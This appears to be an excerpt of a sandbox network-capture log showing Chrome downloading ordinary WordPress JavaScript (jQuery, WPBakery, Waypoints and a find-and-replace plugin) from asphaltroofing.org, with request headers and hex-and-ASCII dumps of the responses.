2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 68 69 73 5b 47 5d 2c 6e 29 26 26 28 74 68 69 73 5b 47 5d 5b 6e 5d 3d 21 31 29 2c 65 74 28 74 68 69 73 2c 6e 2c 62 28 31 2c 74 29 29 7d 3b 72 65 74 75 72 6e 20 63 26 26 72 74 26 26 65 74 28 57 2c 6e 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 73 65 74 3a 72 7d 29 2c 6f 74 28 6e 2c 74 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 2c 22 74 6f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 28 74 68 69 73 29 2e 74 61 67 7d 29 29 2c 5f 28 48 2c 22 77 69 74 68 6f 75 74 53 65 74 74 65 72 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 74 28 49 28 74 29 2c 74 29 7d 29 29 2c 54 2e 66 3d 66 74 2c 41 2e 66 3d 75 74 2c 6a 2e 66 3d 61 74 2c 78 2e 66 3d 4f 2e 66 3d 73 74 2c 77 2e 66 3d 6c 74 2c 43 2e 66 3d 66 Data Ascii: his[G],n)&&(this[G][n]=!1),et(this,n,b(1,t))};return c&&rt&&et(W,n,{configurable:!0,set:r}),ot(n,t)}).prototype,"toString",(function(){return B(this).tag})),_(H,"withoutSetter",(function(t){return ot(I(t),t)})),T.f=ft,A.f=ut,j.f=at,x.f=O.f=st,w.f=lt,C.f=f
2024-04-23 14:53:50 UTC	705	IN	Data Raw: 6e 3d 21 30 2c 72 3d 21 31 2c 6f 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 69 2c 75 3d 74 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 6e 3d 28 69 3d 75 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 6e 3d 21 30 29 7b 76 61 72 20 63 3d 69 2e 76 61 6c 75 65 3b 65 28 63 29 7d 7d 63 61 74 63 68 28 74 29 7b 72 3d 21 30 2c 6f 3d 74 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 6e 7c 7c 6e 75 6c 6c 3d 3d 75 2e 72 65 74 75 72 6e 7c 7c 75 2e 72 65 74 75 72 6e 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 72 29 74 68 72 6f 77 20 6f 7d 7d 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 2e 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 3b 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 6e 2e 6d 61 74 63 68 65 Data Ascii: n=!0,r=!1,o=void 0;try{for(var i,u=t[Symbol.iterator]();!(n=(i=u.next()).done);n=!0){var c=i.value;e(c)}}catch(t){r=!0,o=t}finally{try{n\|\|null==u.return\|\|u.return()}finally{if(r)throw o}}};(function(t){var n=t.Element.prototype;"function"!=typeof n.matche

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49811	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	710	OUT	GET /wp-content/plugins/real-time-auto-find-and-replace/assets/js/rtafar.app.min.js?ver=1.5.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: text/javascript Content-Length: 89824 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:13 GMT ETag: "602204-15ee0-6138f89cd9ff2" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	7645	IN	Data Raw: 28 28 29 3d 3e 7b 76 61 72 20 61 3d 7b 37 35 35 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 64 3b 21 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 2e 65 78 70 6f 72 74 73 3f 61 2e 65 78 70 6f 72 74 73 3d 62 2e 64 6f 63 75 6d 65 6e 74 3f 63 28 62 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 6f 63 75 6d 65 6e 74 22 29 3b 72 65 74 75 72 6e 20 63 28 61 29 7d 3a 63 28 62 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 Data Ascii: (()=>{var a={755:function(a,b){var c,d;!function(b,c){"use strict";"object"==typeof a.exports?a.exports=b.document?c(b,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return c(a)}:c(b)}("undefined"!=typeof window
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 65 78 74 53 69 62 6c 69 6e 67 3b 29 69 66 28 61 3d 3d 3d 63 29 72 65 74 75 72 6e 20 2d 31 7d 72 65 74 75 72 6e 20 62 3f 31 3a 2d 31 7d 66 75 6e 63 74 69 6f 6e 20 45 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 22 69 6e 70 75 74 22 3d 3d 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 46 28 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 28 22 69 6e 70 75 74 22 3d 3d 3d 63 7c 7c 22 62 75 74 74 6f 6e 22 3d 3d 3d 63 29 26 26 62 2e 74 79 70 65 3d 3d 3d 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 61 Data Ascii: extSibling;)if(a===c)return -1}return b?1:-1}function E(a){return function(b){return"input"===b.nodeName.toLowerCase()&&b.type===a}}function F(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c\|\|"button"===c)&&b.type===a}}function s(a
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 69 66 28 70 29 7b 69 66 28 66 29 7b 66 6f 72 28 3b 6f 3b 29 7b 66 6f 72 28 62 3d 6a 3b 62 3d 62 5b 6f 5d 3b 29 69 66 28 68 3f 62 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 73 3a 31 3d 3d 3d 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 21 31 3b 6d 3d 6f 3d 22 6f 6e 6c 79 22 3d 3d 3d 61 26 26 21 6d 26 26 22 6e 65 78 74 53 69 62 6c 69 6e 67 22 7d 72 65 74 75 72 6e 21 30 7d 69 66 28 6d 3d 5b 67 3f 70 2e 66 69 72 73 74 43 68 69 6c 64 3a 70 2e 6c 61 73 74 43 68 69 6c 64 5d 2c 67 26 26 72 29 7b 66 6f 72 28 65 3d 28 69 3d 28 6c 3d 28 71 3d 28 6b 3d 28 62 3d 70 29 5b 6e 5d 7c 7c 28 62 5b 6e 5d 3d 7b 7d 29 29 5b 62 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6b 5b 62 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 61 5d 7c 7c 5b Data Ascii: if(p){if(f){for(;o;){for(b=j;b=b[o];)if(h?b.nodeName.toLowerCase()===s:1===b.nodeType)return!1;m=o="only"===a&&!m&&"nextSibling"}return!0}if(m=[g?p.firstChild:p.lastChild],g&&r){for(e=(i=(l=(q=(k=(b=p)[n]\|\|(b[n]={}))[b.uniqueID]\|\|(k[b.uniqueID]={}))[a]\|\|[
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 63 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 66 6f 72 28 76 61 72 20 62 3d 5b 5d 3b 61 3b 61 3d 61 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 61 21 3d 3d 63 26 26 62 2e 70 75 73 68 28 61 29 3b 72 65 74 75 72 6e 20 62 7d 2c 61 64 3d 65 2e 65 78 70 72 2e 6d 61 74 63 68 2e 6e 65 65 64 73 43 6f 6e 74 65 78 74 3b 66 75 6e 63 74 69 6f 6e 20 47 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6e 6f 64 65 4e 61 6d 65 26 26 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 62 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 76 61 72 20 61 65 3d 2f 5e 3c 28 5b 61 2d 7a 5d 5b 5e 5c 2f 5c 30 3e 3a 5c 78 32 30 5c 74 5c 72 5c 6e 5c 66 5d 2a 29 5b 5c 78 32 30 5c 74 5c 72 5c 6e 5c 66 5d 2a 5c 2f 3f 3e Data Ascii: c=function(a,c){for(var b=[];a;a=a.nextSibling)1===a.nodeType&&a!==c&&b.push(a);return b},ad=e.expr.match.needsContext;function G(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var ae=/^<([a-z][^\/\0>:\x20\t\r\n\f])[\x20\t\r\n\f]\/?>
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 30 2c 6b 3d 62 2e 6c 65 6e 67 74 68 2c 69 3d 6e 75 6c 6c 3d 3d 64 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 46 28 64 29 29 66 6f 72 28 63 20 69 6e 20 68 3d 21 30 2c 64 29 61 70 28 62 2c 61 2c 63 2c 64 5b 63 5d 2c 21 30 2c 6a 2c 67 29 3b 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 66 26 26 28 68 3d 21 30 2c 44 28 66 29 7c 7c 28 67 3d 21 30 29 2c 69 26 26 28 67 3f 28 61 2e 63 61 6c 6c 28 62 2c 66 29 2c 61 3d 6e 75 6c 6c 29 3a 28 69 3d 61 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 62 29 7b 72 65 74 75 72 6e 20 69 2e 63 61 6c 6c 28 65 28 61 29 2c 62 29 7d 29 29 2c 61 29 29 66 6f 72 28 3b 63 3c 6b 3b 63 2b 2b 29 61 28 62 5b 63 5d 2c 64 2c 67 3f 66 3a 66 2e 63 61 6c 6c 28 62 5b 63 5d 2c 63 2c 61 28 62 5b 63 5d 2c 64 29 29 29 3b 72 65 74 75 72 6e Data Ascii: 0,k=b.length,i=null==d;if("object"===F(d))for(c in h=!0,d)ap(b,a,c,d[c],!0,j,g);else if(void 0!==f&&(h=!0,D(f)\|\|(g=!0),i&&(g?(a.call(b,f),a=null):(i=a,a=function(a,c,b){return i.call(e(a),b)})),a))for(;c<k;c++)a(b[c],d,g?f:f.call(b[c],c,a(b[c],d)));return
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 73 65 74 28 74 68 69 73 2c 62 2c 21 31 29 3a 64 3d 7b 7d 2c 61 21 3d 3d 64 29 72 65 74 75 72 6e 20 66 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 66 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 64 26 26 64 2e 76 61 6c 75 65 7d 65 6c 73 65 20 61 2e 6c 65 6e 67 74 68 26 26 28 61 75 2e 73 65 74 28 74 68 69 73 2c 62 2c 7b 76 61 6c 75 65 3a 65 2e 65 76 65 6e 74 2e 74 72 69 67 67 65 72 28 65 2e 65 78 74 65 6e 64 28 61 5b 30 5d 2c 65 2e 45 76 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 29 2c 61 2e 73 6c 69 63 65 28 31 29 2c 74 68 69 73 29 7d 29 2c 66 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 29 7d 7d 29 7d 65 2e 65 76 65 6e 74 3d 7b 67 6c 6f 62 61 6c 3a 7b 7d 2c 61 64 64 3a 66 75 Data Ascii: set(this,b,!1):d={},a!==d)return f.stopImmediatePropagation(),f.preventDefault(),d&&d.value}else a.length&&(au.set(this,b,{value:e.event.trigger(e.extend(a[0],e.Event.prototype),a.slice(1),this)}),f.stopImmediatePropagation())}})}e.event={global:{},add:fu
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 31 21 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 7c 7c 65 2e 63 6c 65 61 6e 44 61 74 61 28 61 4a 28 61 29 29 2c 61 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 28 64 26 26 4d 28 61 29 26 26 61 4b 28 61 4a 28 61 2c 22 73 63 72 69 70 74 22 29 29 2c 61 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 61 29 29 3b 72 65 74 75 72 6e 20 62 7d 65 2e 65 78 74 65 6e 64 28 7b 68 74 6d 6c 50 72 65 66 69 6c 74 65 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 69 2c 6a 29 7b 76 61 72 20 61 2c 68 2c 63 2c 64 2c 66 3d 62 2e 63 6c 6f 6e 65 4e 6f 64 65 28 21 30 29 2c 6b 3d 4d 28 62 29 3b 69 66 28 21 67 2e 6e 6f 43 6c 6f 6e 65 43 68 65 63 6b 65 64 26 26 28 31 3d 3d 3d 62 2e 6e 6f 64 65 54 Data Ascii: 1!==a.nodeType\|\|e.cleanData(aJ(a)),a.parentNode&&(d&&M(a)&&aK(aJ(a,"script")),a.parentNode.removeChild(a));return b}e.extend({htmlPrefilter:function(a){return a},clone:function(b,i,j){var a,h,c,d,f=b.cloneNode(!0),k=M(b);if(!g.noCloneChecked&&(1===b.nodeT
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 65 46 6c 6f 61 74 28 61 35 28 61 2c 22 6d 61 72 67 69 6e 4c 65 66 74 22 29 29 7c 7c 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 6c 65 66 74 2d 61 33 28 61 2c 7b 6d 61 72 67 69 6e 4c 65 66 74 3a 30 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 6c 65 66 74 7d 29 29 2b 22 70 78 22 7d 29 2c 65 2e 65 61 63 68 28 7b 6d 61 72 67 69 6e 3a 22 22 2c 70 61 64 64 69 6e 67 3a 22 22 2c 62 6f 72 64 65 72 3a 22 57 69 64 74 68 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 65 2e 63 73 73 48 6f 6f 6b 73 5b 61 2b 62 5d 3d 7b 65 78 70 61 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 66 6f 72 28 76 61 72 20 63 3d 30 2c 66 3d 7b 7d 2c 65 3d 22 73 74 Data Ascii: eFloat(a5(a,"marginLeft"))\|\|a.getBoundingClientRect().left-a3(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),e.each({margin:"",padding:"",border:"Width"},function(a,b){e.cssHooks[a+b]={expand:function(d){for(var c=0,f={},e="st
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 6f 3d 66 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2c 62 70 3d 66 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 65 6c 65 63 74 22 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6f 70 74 69 6f 6e 22 29 29 2c 62 6f 2e 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 2c 67 2e 63 68 65 63 6b 4f 6e 3d 22 22 21 3d 3d 62 6f 2e 76 61 6c 75 65 2c 67 2e 6f 70 74 53 65 6c 65 63 74 65 64 3d 62 70 2e 73 65 6c 65 63 74 65 64 2c 28 62 6f 3d 66 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 29 2e 76 61 6c 75 65 3d 22 74 22 2c 62 6f 2e 74 79 70 65 3d 22 72 61 64 69 6f 22 2c 67 2e 72 61 64 69 6f 56 61 6c 75 65 3d 22 74 22 3d 3d 3d 62 6f 2e 76 61 6c 75 65 3b 76 61 72 20 62 6f 2c Data Ascii: o=f.createElement("input"),bp=f.createElement("select").appendChild(f.createElement("option")),bo.type="checkbox",g.checkOn=""!==bo.value,g.optSelected=bp.selected,(bo=f.createElement("input")).value="t",bo.type="radio",g.radioValue="t"===bo.value;var bo,
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 69 6f 6e 28 62 2c 61 29 7b 64 7c 7c 62 42 2e 74 65 73 74 28 63 29 3f 66 28 63 2c 61 29 3a 62 46 28 63 2b 22 5b 22 2b 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 61 26 26 6e 75 6c 6c 21 3d 61 3f 62 3a 22 22 29 2b 22 5d 22 2c 61 2c 64 2c 66 29 7d 29 3b 65 6c 73 65 20 69 66 28 64 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 3d 46 28 61 29 29 66 28 63 2c 61 29 3b 65 6c 73 65 20 66 6f 72 28 62 20 69 6e 20 61 29 62 46 28 63 2b 22 5b 22 2b 62 2b 22 5d 22 2c 61 5b 62 5d 2c 64 2c 66 29 7d 65 2e 70 61 72 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 76 61 72 20 62 2c 64 3d 5b 5d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 61 29 7b 76 61 72 20 62 3d 44 28 61 29 3f 61 28 29 3a 61 3b 64 5b 64 2e 6c 65 6e 67 74 68 5d 3d 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e Data Ascii: ion(b,a){d\|\|bB.test(c)?f(c,a):bF(c+"["+("object"==typeof a&&null!=a?b:"")+"]",a,d,f)});else if(d\|\|"object"!==F(a))f(c,a);else for(b in a)bF(c+"["+b+"]",a[b],d,f)}e.param=function(a,c){var b,d=[],f=function(c,a){var b=D(a)?a():a;d[d.length]=encodeURICompon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49813	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	700	OUT	GET /wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	547	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: text/javascript Content-Length: 20601 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e0369-5079-5b419ed3e04c0" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:50 UTC	7645	IN	Data Raw: 2f 2a 21 0a 20 2a 20 57 50 42 61 6b 65 72 79 20 50 61 67 65 20 42 75 69 6c 64 65 72 20 76 36 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 77 70 62 61 6b 65 72 79 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 39 20 4d 69 63 68 61 65 6c 20 4d 2c 20 57 50 42 61 6b 65 72 79 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 43 6f 6d 6d 65 72 63 69 61 6c 2e 20 4d 6f 72 65 20 64 65 74 61 69 6c 73 3a 20 68 74 74 70 3a 2f 2f 67 6f 2e 77 70 62 61 6b 65 72 79 2e 63 6f 6d 2f 6c 69 63 65 6e 73 69 6e 67 0a 20 2a 2f 0a 0a 2f 2f 20 6a 73 63 73 3a 64 69 73 61 62 6c 65 0a 2f 2f 20 6a 73 68 69 6e 74 20 69 67 6e 6f 72 65 3a 20 73 74 61 72 74 0a 0a 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d Data Ascii: /! WPBakery Page Builder v6.0.0 (https://wpbakery.com) * Copyright 2011-2019 Michael M, WPBakery * License: Commercial. More details: http://go.wpbakery.com/licensing */// jscs:disable// jshint ignore: startdocument.documentElement.className+=
2024-04-23 14:53:50 UTC	8192	IN	Data Raw: 61 64 28 29 7d 2c 32 30 29 7d 29 7d 7d 29 7d 29 2c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 76 63 5f 73 6c 69 64 65 72 73 42 65 68 61 76 69 6f 75 72 26 26 28 77 69 6e 64 6f 77 2e 76 63 5f 73 6c 69 64 65 72 73 42 65 68 61 76 69 6f 75 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6a 51 75 65 72 79 28 22 2e 77 70 62 5f 67 61 6c 6c 65 72 79 5f 73 6c 69 64 65 73 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 69 6e 64 65 78 29 7b 76 61 72 20 24 69 6d 61 67 65 73 47 72 69 64 2c 74 68 69 73 5f 65 6c 65 6d 65 6e 74 3d 6a 51 75 65 72 79 28 74 68 69 73 29 3b 69 66 28 74 68 69 73 5f 65 6c 65 6d 65 6e 74 2e 68 61 73 43 6c 61 73 73 28 22 77 70 62 5f 73 6c 69 64 65 72 5f 6e 69 76 6f 22 29 29 7b 76 61 72 20 73 6c 69 64 65 72 54 69 6d 65 Data Ascii: ad()},20)})}})}),"function"!=typeof window.vc_slidersBehaviour&&(window.vc_slidersBehaviour=function(){jQuery(".wpb_gallery_slides").each(function(index){var $imagesGrid,this_element=jQuery(this);if(this_element.hasClass("wpb_slider_nivo")){var sliderTime
2024-04-23 14:53:50 UTC	4764	IN	Data Raw: 5f 6d 65 64 69 61 5f 67 72 69 64 2c 20 2e 76 63 5f 6d 61 73 6f 6e 72 79 5f 67 72 69 64 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 67 72 69 64 3d 6a 51 75 65 72 79 28 74 68 69 73 29 2e 64 61 74 61 28 22 76 63 47 72 69 64 22 29 3b 67 72 69 64 26 26 67 72 69 64 2e 67 72 69 64 42 75 69 6c 64 65 72 26 26 67 72 69 64 2e 67 72 69 64 42 75 69 6c 64 65 72 2e 73 65 74 4d 61 73 6f 6e 72 79 26 26 67 72 69 64 2e 67 72 69 64 42 75 69 6c 64 65 72 2e 73 65 74 4d 61 73 6f 6e 72 79 28 29 7d 29 2c 76 63 5f 63 61 72 6f 75 73 65 6c 42 65 68 61 76 69 6f 75 72 28 75 69 2e 6e 65 77 50 61 6e 65 6c 29 2c 76 63 5f 70 6c 75 67 69 6e 5f 66 6c 65 78 73 6c 69 64 65 72 28 75 69 2e 6e 65 77 50 61 6e 65 6c 29 2c 24 70 69 65 5f 63 68 61 72 74 73 2e 6c 65 6e 67 74 Data Ascii: _media_grid, .vc_masonry_grid").each(function(){var grid=jQuery(this).data("vcGrid");grid&&grid.gridBuilder&&grid.gridBuilder.setMasonry&&grid.gridBuilder.setMasonry()}),vc_carouselBehaviour(ui.newPanel),vc_plugin_flexslider(ui.newPanel),$pie_charts.lengt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49815	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	704	OUT	GET /wp-content/plugins/js_composer/assets/lib/vc_waypoints/vc-waypoints.min.js?ver=6.1 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:50 UTC	553	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: text/javascript Content-Length: 9237 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "14e26ee-2415-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: REVALIDATED Accept-Ranges: bytes
2024-04-23 14:53:50 UTC	7639	IN	Data Raw: 2f 2a 21 0a 20 2a 20 57 50 42 61 6b 65 72 79 20 50 61 67 65 20 42 75 69 6c 64 65 72 20 76 36 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 77 70 62 61 6b 65 72 79 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 39 20 4d 69 63 68 61 65 6c 20 4d 2c 20 57 50 42 61 6b 65 72 79 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 43 6f 6d 6d 65 72 63 69 61 6c 2e 20 4d 6f 72 65 20 64 65 74 61 69 6c 73 3a 20 68 74 74 70 3a 2f 2f 67 6f 2e 77 70 62 61 6b 65 72 79 2e 63 6f 6d 2f 6c 69 63 65 6e 73 69 6e 67 0a 20 2a 2f 0a 0a 2f 2f 20 6a 73 63 73 3a 64 69 73 61 62 6c 65 0a 2f 2f 20 6a 73 68 69 6e 74 20 69 67 6e 6f 72 65 3a 20 73 74 61 72 74 0a 0a 2f 2a 21 0a 57 61 79 70 6f 69 6e 74 73 20 2d 20 34 2e 30 2e 31 0a 43 6f 70 79 72 69 67 68 74 20 c2 a9 20 32 Data Ascii: /! WPBakery Page Builder v6.0.0 (https://wpbakery.com) * Copyright 2011-2019 Michael M, WPBakery * License: Commercial. More details: http://go.wpbakery.com/licensing /// jscs:disable// jshint ignore: start/!Waypoints - 4.0.1Copyright 2
